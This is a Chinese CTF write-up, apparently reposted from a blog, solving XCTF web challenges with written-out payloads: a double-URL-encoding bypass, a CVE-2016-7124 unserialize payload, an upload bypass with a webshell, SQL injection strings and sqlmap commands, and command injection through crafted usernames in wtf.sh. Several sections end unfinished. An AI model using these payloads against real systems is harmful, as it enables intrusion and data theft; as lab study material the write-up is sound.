首页 > Web开发 > 详细

攻防世界 — Web进阶题(第11

时间:2020-03-01 14:31:16      阅读:68      评论:0      收藏:0      [点我收藏+]
https://knlvre.github.io/

PHP2

进入题目后只有一句话: Can you anthenticate to this website? ,没有其他东西,扫描目录页无果。尝试在index.phps,得到源码

技术分享图片

但是显然代码并不完整,右键查看源代码,得到如下

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

刚开始看到一个 强类型(===) 和一个 弱类型(==) 向通过他们二者的区别绕过,回来发现不可行

这题正确姿势是:

① php 在 GET 一个参数之前,会先自动urldecode

② %25 === url解码 ===> %

③ %61 === url解码 ===> a

?id=%2561dmin

技术分享图片

当我们传入%2561dmin后,第一次自动 urldecode 结果为 %61dmin,第一个匹配 "admin" === "%61dmin"失败

第二次匹配前又 urldecode 一次,所以第二次匹配"admin" == "admin"成功,拿下 flag

unserialize3

题目进去看到代码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

先介绍一下 __wakeup() 魔术方法

它是 PHP 序列化的魔术方法之一, unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源

根据题目的意思,应该是要求我们通过code参数,传入序列化字符串,然后服务器会用unserialize()处理参数,而xctf类中存在 __wakeup() 魔术方法,所以会被先调用,执行exit()函数,退出页面。我们只要想办法使其不调用 __wakeup() 魔术方法就可以拿到 flag

后来发现这个思路是 __wakeup()魔术方法绕过(CVE-2016-7124)

漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

漏洞产生原因:
如果存在 __wakeup 方法,调用 unserilize() 方法前则先调用 __wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执

首先,生成序列化字符串

<?php

class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}

$knlvre = new xctf();

print(serialize($knlvre));

?>

技术分享图片

我们将得到的序列化字符串中的变量数量从1改为2,或者 2 以上的数字,拿下 flag

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

upload1

先尝试上传1.php,还没点击上传就提示我请上传图像文件,猜测是前端代码检测

先将文件名改为1.png,抓包修改后缀为.php,上传成功,并且后缀就是为 .php

既然可以上传,就直接上传一个大马

连接成功,在../flag.php中拿到 flag

技术分享图片

ics-04

题目描述: 工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag

进入题目后按照题目描述,发现有注册登陆忘记密码三个功能界面,注册一个普通用户登陆后提示:普通用户登录成功,没什么用

对三个界面依次尝试,最后在找回密码界面找到突破口

首先尝试一个不存在的用户(admin),添加 单引号 也没有报错,只是提示 没有这个用户。但是使用万能密码(admin' or '1)尝试时,却是直接绕过

技术分享图片

列数为4,注入点在3

admin' union select 1,2,3,4 #

技术分享图片

sqlmap

python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" --dbs

技术分享图片

python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" -D cetc004 --tables
#返回 user

python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" -D cetc004 -T user --dump

技术分享图片

answerpassword已经被加密了,并且无法破解。后来发现username字段并不是加密(因为拿这个用户名去重置密码是可以的),然后利用注册页面,可以重复注册用户的漏洞,再次注册这个用户名,密码自己知道,然后用这个用户名去登录,直接拿到 flag(本题登录界面应该是判断如果登录用户名是c3tlwDmIn23,就会直接给 flag)

技术分享图片

Triangle

题目进去之后只有一个输入框,没有利用点。后来右键查看源代码,发现可疑的JS

function login(){
    var input = document.getElementById('password').value;
    var enc = enc_pw(input);
    var pw = get_pw();
    if(test_pw(enc, pw) == 1){
        alert('Well done!');
    }
    else{
        alert('Try again ...');
    }
}

但是上面提到的函数没有在源码页面找到,后来在secret.js中发现

function test_pw(e, _) {
    var t = stoh(atob(getBase64Image("eye"))),
    r = 4096,
    m = 8192,
    R = 12288,
    a = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    a.reg_write_i32(uc.ARM_REG_R9, m),
    a.reg_write_i32(uc.ARM_REG_R10, R),
    a.reg_write_i32(uc.ARM_REG_R8, _.length),
    a.mem_map(r, 4096, uc.PROT_ALL);
    for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]);
    a.mem_map(m, 4096, uc.PROT_ALL),
    a.mem_write(m, stoh(_)),
    a.mem_map(R, 4096, uc.PROT_ALL),
    a.mem_write(R, stoh(e));
    var u = r,
    c = r + o1.length;
    return a.emu_start(u, c, 0, 0),
    a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
    var _ = stoh(atob(getBase64Image("frei"))),
    t = 4096,
    r = 8192,
    m = 12288,
    R = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    R.reg_write_i32(uc.ARM_REG_R8, r),
    R.reg_write_i32(uc.ARM_REG_R9, m),
    R.reg_write_i32(uc.ARM_REG_R10, e.length),
    R.mem_map(t, 4096, uc.PROT_ALL);
    for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]);
    R.mem_map(r, 4096, uc.PROT_ALL),
    R.mem_write(r, stoh(e)),
    R.mem_map(m, 4096, uc.PROT_ALL);
    var o = t,
    u = t + o2.length;
    return R.emu_start(o, u, 0, 0),
    htos(R.mem_read(m, e.length))
}
function get_pw() {
    for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]);
    return _
}

js代码逆向,先不去接触这个知识点(参考: https://blog.csdn.net/gonganDV/article/details/96285636

wtf.sh-150

注册时,无法注册admin用户,注册一个普通用户,登录后可以 post 文章

观察URL,查看某篇文章时通过post参数提交给一个名为post.wtf的页面。查看用户的所有posts时,通过user参数提交给profile.wtf页面

对 post.wtf 的 post 参数进行fuzz,发现目录穿越

技术分享图片

尝试,得到内容

?post=../

技术分享图片大专栏  攻防世界 — Web进阶题(第115-2.png" alt="15-2"/>

拿到的貌似是源码,大约地看一遍,突然看到flag字样

技术分享图片

根据源码的内容来看,这应该是profile.wtf的源码,注意看获取 flag 的语句:

① 登陆;② cookies 字段中的name参数值为 admin;③ 这个 ${username}参数值为 admin

$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1

现在比较奇怪的就是这个 ${username} 参数,注意代码中上面的几行

① 这个 ${username} 似乎是根据 URL 中的 user 参数,然后从 users 文件中取出来(猜测这个 users 文件存储所有用户的全部或部分信息);②返回字符串 用户名+’s posts 和所有文章(这就是 profile.wtf 的界面)

file_existsusers/${URL_PARAMS['user']} $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); 

$ echo ${username}'s posts: 

$ echo $ get_users_posts${username}

现在知道 ${username} 就是用户注册的用户名,而这个值是根据 URL 中的 user 参数,然后从 users 文件中取出来,看一下 profile.wtf 提交请求时的 user 参数

技术分享图片

可以看到 user 应该是被加密,并且能在 users 文件中对应某个账户,而拿到 flag 的其中一步就是让 ${username} 变量的值等于 admin ,必须拿到 users 文件中 admin 对应的 user 的值。既然存在目录穿越,所以现在就可以直接试着去读取 users 文件

技术分享图片

虽然没能看到 user 值,但是看到了类似TOKEN的值,对比一下我自己随便注册的用户

技术分享图片

技术分享图片

现在可以确定这个类似 TOKEN 的字段就是 TOKEN,试着用其登录 admin

技术分享图片

登陆成功

技术分享图片

迫不及待的点击 profile 拿到了 user 字段的值

技术分享图片

修改这三个字段:URL 中的 userCookie 中的 USERNAMECookie 中的 TOKEN,拿到了 flag 但是只有一半

xctf{cb49256d1ab48803

技术分享图片

继续看源代码,发现

max_page_include_depth=64
page_include_depth=0
function include_page {
    # include_page &lt;pathname&gt;
    local pathname=$1
    local cmd=""
    [[ "${pathname:(-4)}" = '.wtf' ]];
    local can_execute=$?;
    page_include_depth=$(($page_include_depth+1))
    if [[ $page_include_depth -lt $max_page_include_depth ]]
    then
        local line;
        while read -r line; do
            # check if we're in a script line or not ($ at the beginning implies script line)
            # also, our extension needs to be .wtf
            [[ "$" = "${line:0:1}" &amp;&amp; ${can_execute} = 0 ]];
            is_script=$?;

            # execute the line.
            if [[ $is_script = 0 ]]
            then
                cmd+=$'n'"${line#"$"}";
            else
                if [[ -n $cmd ]]
                then
                    eval "$cmd" || log "Error during execution of ${cmd}";
                    cmd=""
                fi
                echo $line
            fi
        done &lt; ${pathname}
    else
        echo "&lt;p&gt;Max include depth exceeded!&lt;p&gt;"
    fi
}

以及一段可以执行 wtf 文件的 reply 函数,存在路径穿越

function reply {
    local post_id=$1;
    local username=$2;
    local text=$3;
    local hashed=$(hash_username "${username}");

    curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
    next_reply_id=$(awk '{print $1+1}' &lt;&lt;&lt; "${curr_id}");
    next_file=(posts/${post_id}/${next_reply_id});
    echo "${username}" &gt; "${next_file}";
    echo "RE: $(nth_line 2 &lt; "posts/${post_id}/1")" &gt;&gt; "${next_file}";
    echo "${text}" &gt;&gt; "${next_file}";

    # add post this is in reply to to posts cache
    echo "${post_id}/${next_reply_id}" &gt;&gt; "users_lookup/${hashed}/posts";
}

点击浏览器用户点击 reply,回复抓包修改 post 参数的路径(后面要加 %09 制表符才不会被当做目录解析)

技术分享图片

访问

技术分享图片

然后注册用户名为可执行命令的用户,如 ${find,/,-iname,get_flag2},注意注册的时候不能用空格,要用英文字母的逗号代替。重复上面提交到 m.wtf 的步骤,然后访问就可以 命令执行

技术分享图片

技术分享图片

最后注册用户 $/usr/bin/get_flag2,访问 m.wtf

Flag: 149e5ec49d3c29ca}

技术分享图片

ics-07

题目描述:工控云管理系统项目管理页面解析漏洞

还是那个熟悉的界面,点击项目管理,左下角有view-source.php可以查看源码

<?php
session_start();

if (!isset($_GET[page])) {
  show_source(__FILE__);
  die();
}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {
  include('flag.php');
}else {
  header('Location: ?page=flag.php');
}

?>

<form action="#" method="get">
  page : <input type="text" name="page" value="">
  id : <input type="text" name="id" value="">
  <input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>

<?php
 if ($_SESSION['admin']) {
   $con = $_POST['con'];
   $file = $_POST['file'];
   $filename = "backup/".$file;

   if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
      die("Bad file extension");
   }else{
       chdir('uploaded');
       $f = fopen($filename, 'w');
       fwrite($f, $con);
       fclose($f);
   }
 }
 ?>

<?php
  if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
    include 'config.php';
    $id = mysql_real_escape_string($_GET[id]);
    $sql="select * from cetc007.user where id='$id'";
    $result = mysql_query($sql);
    $result = mysql_fetch_object($result);
  } else {
    $result = False;
    die();
  }

  if(!$result)die("<br >something wae wrong ! <br>");
  if($result){
    echo "id: ".$result->id."</br>";
    echo "name:".$result->user."</br>";
    $_SESSION['admin'] = True;
  }
 ?>

首先需要使得$_SESSION['admin'] = True才能去写文件

技术分享图片

然后貌似题目环境出问题了,因为提交id=1/9提示Could not connect: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2),先不做

i-got-id-200

技术分享图片

Forms页面对提交的数据有返回,File页面可以上传文件

攻防世界 — Web进阶题(第11

原文:https://www.cnblogs.com/lijianming180/p/12389572.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!